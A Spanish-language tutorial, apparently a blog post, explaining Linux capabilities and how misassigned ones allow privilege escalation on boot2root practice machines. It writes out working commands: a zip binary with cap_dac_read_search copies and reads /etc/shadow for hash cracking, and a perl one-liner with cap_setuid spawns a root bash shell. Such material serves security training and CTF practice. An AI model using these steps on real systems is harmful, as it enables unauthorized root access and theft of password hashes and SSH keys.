En sistemas *nix (Unix/Linux) un proceso ejecutándose con privilegios de superusuario o un ejecutable con el bit suid otorga muchas veces permisos demasiado altos durante la ejecución del programa. Es como un «todo o nada» y por lo tanto uno de los principales objetivos que posiblemente podría explotar un eventual hacker.
Con el objetivo de mitigar o contrarrestar dicha situación se dividieron todas las posibles llamadas del núcleo privilegiadas en grupos de funcionalidades relacionadas, las llamadas capabilities, que pueden asignarse a un ejecutable. De esa manera, cualquier posible problema de seguridad en un programa minimizará el impacto porque el atacante obtendrá sólo el subconjunto asignado de capacidades, no el acceso a todo el sistema.
No obstante, también podemos abusar de las capabilities. De hecho, en algunos ejercicios nos podremos encontrar un escenario similar al siguiente, que nos permitirá escalar privilegios en máquinas boot2root.
Lo primero que haremos es buscar de forma recursiva archivos con capabilities:
$ getcap -r / 2>/dev/null
/home/john/zip = cap_dac_read_search+ep
/home/peter/perl = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
La extención «+ep» significa que la capability es efectiva y permitida.
Lo que llama la atención es el binario zip que tiene la capacidad o capability cap_dac_read_search. Si leemos el man page, podemos ver que esto permite que zip omita las comprobaciones de permisos de lectura, lo que significa que podemos leer cualquier archivo en el sistema de archivos.
Es decir, podemos por ejemplo leer /etc/shadow para crackear hashes y/u obtener las claves privadas SSH de los usuarios.
El proceso es sencillo:
- Comprimimos el archivo o carpeta que deseamos leer: /path/to/zip /tmp/shadow.zip /etc/shadow.
- Lo descomprimimos: unzip /tmp/shadow.zip -d /tmp.
- Listo, podemos leer el archivo: cat /tmp/etc/shadow.
Una vez obtenido las credenciales entrando como el usuario peter o john podemos acceder y usar otro ejecutable con capabilities: perl, que nos permite cambiar el UID (cap_setuid). Así que simplemente ejecutamos:
$ /home/peter/perl -e ‘use POSIX (setuid); POSIX::setuid(0); exec «/bin/bash»;’
¡Voilà, tenemos accesos y privilegios de superusuario!